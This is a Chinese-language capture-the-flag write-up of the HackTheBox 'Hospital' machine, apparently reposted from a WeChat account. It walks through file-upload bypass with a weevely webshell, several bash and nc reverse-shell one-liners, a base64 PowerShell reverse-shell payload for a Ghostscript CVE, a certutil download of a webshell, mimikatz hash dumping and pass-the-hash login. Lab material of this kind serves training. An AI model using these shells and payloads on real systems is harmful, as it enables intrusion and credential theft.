点击上方蓝字关注我们
HackTheBox Hospital靶机模拟医疗系统高危漏洞场景,涵盖Web渗透、权限提升、敏感数据泄露等实战环节,通过医疗行业特有的API接口,挑战渗透者绕过医疗协议安全机制的能力
这是一个中等难度的靶机,文章较长,建议先收藏/转发/点赞/在看
一、信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.241 -oA nmapscan/ports
提示目标机器禁止 ping 探测,加上-Pn
参数
nmap -sT -Pn --min-rate 10000 -p- 10.10.11.241 -oA nmapscan/ports
开放的端口较多,格式化打印出来
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','
继续扫描端口详细信息
nmap -sT -Pn -sV -sC -O -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6409,6613,6631,8080,9389 10.10.11.241
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)|_ 256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-23 08:57:05Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after: 2028-09-06T10:49:03443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)|_http-title: Hospital Webmail :: Welcome to Hospital Webmail| ssl-cert: Subject: commonName=localhost| Not valid before: 2009-11-10T23:48:47|_Not valid after: 2019-11-08T23:48:47|_ssl-date: TLS randomness does not represent time|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28| tls-alpn: |_ http/1.1445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ldapssl?| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after: 2028-09-06T10:49:031801/tcp open msmq?2103/tcp open msrpc Microsoft Windows RPC2107/tcp open msrpc Microsoft Windows RPC2179/tcp open vmrdp?3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after: 2028-09-06T10:49:033269/tcp open globalcatLDAPssl?| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after: 2028-09-06T10:49:033389/tcp open ms-wbt-server Microsoft Terminal Services| ssl-cert: Subject: commonName=DC.hospital.htb| Not valid before: 2023-09-05T18:39:34|_Not valid after: 2024-03-06T18:39:34| rdp-ntlm-info: | Target_Name: HOSPITAL| NetBIOS_Domain_Name: HOSPITAL| NetBIOS_Computer_Name: DC| DNS_Domain_Name: hospital.htb| DNS_Computer_Name: DC.hospital.htb| DNS_Tree_Name: hospital.htb| Product_Version: 10.0.17763|_ System_Time: 2023-11-23T08:58:32+00:005985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.06059/tcp open msrpc Microsoft Windows RPC6404/tcp open msrpc Microsoft Windows RPC6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.06407/tcp open msrpc Microsoft Windows RPC6409/tcp open msrpc Microsoft Windows RPC6613/tcp open msrpc Microsoft Windows RPC6631/tcp open msrpc Microsoft Windows RPC8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))|_http-server-header: Apache/2.4.55 (Ubuntu)| http-title: Login|_Requested resource was login.php| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set|_http-open-proxy: Proxy might be redirecting requests9389/tcp open mc-nmf .NET Message Framing
目标虽然开放了 ssh 连接,但从 53、88、389、3268、3269 等端口基本能确定是 Windows 机器
且存在域环境hospital.htb
,当前机器是域控机器DC.hospital.htb
使用 Nmap 自带脚本漏洞扫描无有效漏洞
nmap -script=vuln -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6409,6613,6631,8080,9389 10.10.11.241 -oA nmapscan/vuln
Web 信息收集
443 端口是邮件服务roundcube
,尝试了弱口令没有成功
8080 是自建的一个服务
弱口令admin/123456
登录成功,从页面提示中得知是用来上传自己的医疗记录,支持图片格式
whatweb
这里探测返回了 8080 端口的 web 在 Ubuntu Linux 上,先记录一下
dirsearch
dirsearch -u http://10.10.11.241:8080 -e *
有注册页面/登录页面/上传页面等,跟在浏览器上看到的差不多,没新东西
信息整理
二、漏洞探测
8080 探测
敏感文件 config.php,upload.php 访问都是空白页面,没有用处,重点放在文件上传这里
上传一个图片测试,跳转到成功页面,没有返回上传路径
前面目录扫描到了 uploads 目录,拼接 url 访问成功
http://10.10.11.241:8080/uploads/test.ico
上传绕过
将后缀名改成 php 请求,跳转到失败页面
发送到爆破模块,尝试所有可能的后缀,结果如下,后端使用的黑名单校验不完整,有很多后缀可以绕过
以.phar
后缀为例,使用 weevely 生成一个 php 的 webshell 文件
# weevely generate password filenameweevely generate 123 aaa.php
把生成的内容复制到上传文件的请求包中发送,文件名称改为abc3.phar
文件上传成功,使用 weevely 成功连接 webshell
# weevely webshell_url passwordweevely http://10.10.11.241:8080/uploads/abc3.phar 123
前面端口扫描探测到目标机器是 Windows,反弹回来的环境是 Linux,可能是 wls 或者 docker 环境
当前用户是www-data
用户,在网站目录中找到了config.php
配置文件,其中有 MySQL 数据库的连接密码
webshell 无法交互式操作数据库,攻击机开启监听
nc -lvp 1234
目标机器反弹 shell
# 反弹失败bash -i >& /dev/tcp/10.10.14.18/1234 0>&1# 反弹成功bash -c "bash -i >& /dev/tcp/10.10.14.18/1234 0>&1"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1234 >/tmp/f
连接数据库
mysql -u root -p# my$qls3rv1c3!use hospital;show tables;select*from users;
只有一个 user 表,其中的用户也只是端口 8080 这个网站的用户,无法用来登录邮箱
内核提权
上传linux-exploit-suggester.sh
脚本检测,但是尝试给出的 CVE 全部提权失败
查看当前系统信息,ubuntu 23.04,内核版本 5.19
谷歌搜索该版本,得到一个比较新的可用提权 CVE-2023-2640
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main
root 提权成功,当前系统还有个drwilliams
用户,但是始终没有找到这两个用户的 flag
查看/etc/shadow
文件,在线查询 drwilliams 用户的密文,得到密码qwe123!@#
使用drwilliams/qwe123!@#
登录 3389 失败,该用户不在管理员组或者远程桌面组
443 探测
使用drwilliams/qwe123!@#
成功登录邮箱,收件箱内有一封邮件,大概意思是把 eps 格式的文件发送给他,然后他使用 GhostScript 查看
谷歌搜索得知 ghostScript 软件今年有一个漏洞可以导致 RCE,漏洞编号是 CVE-2023-36664
在 GitHub 找到可用的 POC
https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
根据说明文档,生成一个适用于 Windows 的 payload,例如用 powershell 反弹 shell,为了避免符号导致错误,将 payload 使用 base64 方式执行
python3 CVE_2023_36664_exploit.py --generate --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA4ACIALAAyADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" --filename test_file --extension eps
将生成的 test_file.eps 文件通过邮件回复给发件人,同时攻击机开启监听
耐心等待对方打开附件,反弹 shell 成功,当前登录账号是drbrown
,该账号也是hospital
域内账号
在当前目录下看到一个 .bat 文件,里面有个密码chr!$br0wn
并在桌面找到普通用户 flag
三、权限提升
运气捡漏
使用用户名drbrown
和密码chr!$br0wn
登录远程桌面试一下
# xfreerdp /u:drbrown /p:chr!$br0wn /v:10.10.11.241 # 密码错误,符号被转义xfreerdp /u:drbrown /p:'chr!$br0wn' /v:10.10.11.241 # 密码加上单引号xfreerdp /u:drbrown /v:10.10.11.241 # 或者等弹出窗户后在登录界面输入密码rdesktop 10.10.11.241 -u drbrown -d hospital.htb -p 'chr!$br0wn'
进入桌面后发现管理员打正处于邮箱登录页面,填写了账号administrator
和密码Th3B3stH0sp1t4l9786!
直接尝试用这个账号登录远程桌面,登录成功,在桌面发现管理员 flag
rdesktop 10.10.11.241 -u administrator -d hospital.htb -p Th3B3stH0sp1t4l9786!xfreerdp /v:10.10.11.241 /u:administrator /d:hospital.htb /p:'Th3B3stH0sp1t4l9786!'
Webshell 提权
上传 winPEAS 检测,发现有xampp
建站工具,且安装根目录是 system 权限
检索网站配置文件,看到前面使用过的 roundecube 邮件就是在这里搭建的,同时得到数据库的连接信息
type C:xampphtdocsconfigconfig.inc.php
测试administrator/R0undCub3123%21
连接 3389 失败,不存在密码复用,该密码只能登录数据库
既然网站目录有 system 权限,尝试把 webshell 放入 C:xampphtdocs 目录
certutil.exe -urlcache -split -f http://10.10.14.18:8000/shell.php C:xampphtdocsshell.php
webshell 果然是 system 权限,最终在 administrator 用户桌面下找到管理员 flag
上传 mimikatz,脱出用户密码哈希
哈希破解不出来,使用 xfreerdp 的/pth
功能登录远程桌面成功
xfreerdp /pth:a1a0158142556cfc5aa9fdb974e0352f /u:administrator /v:10.10.11.241
原文始发于微信公众号(红队安全圈):HTB Hospital红队靶机-医疗系统沦陷实录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论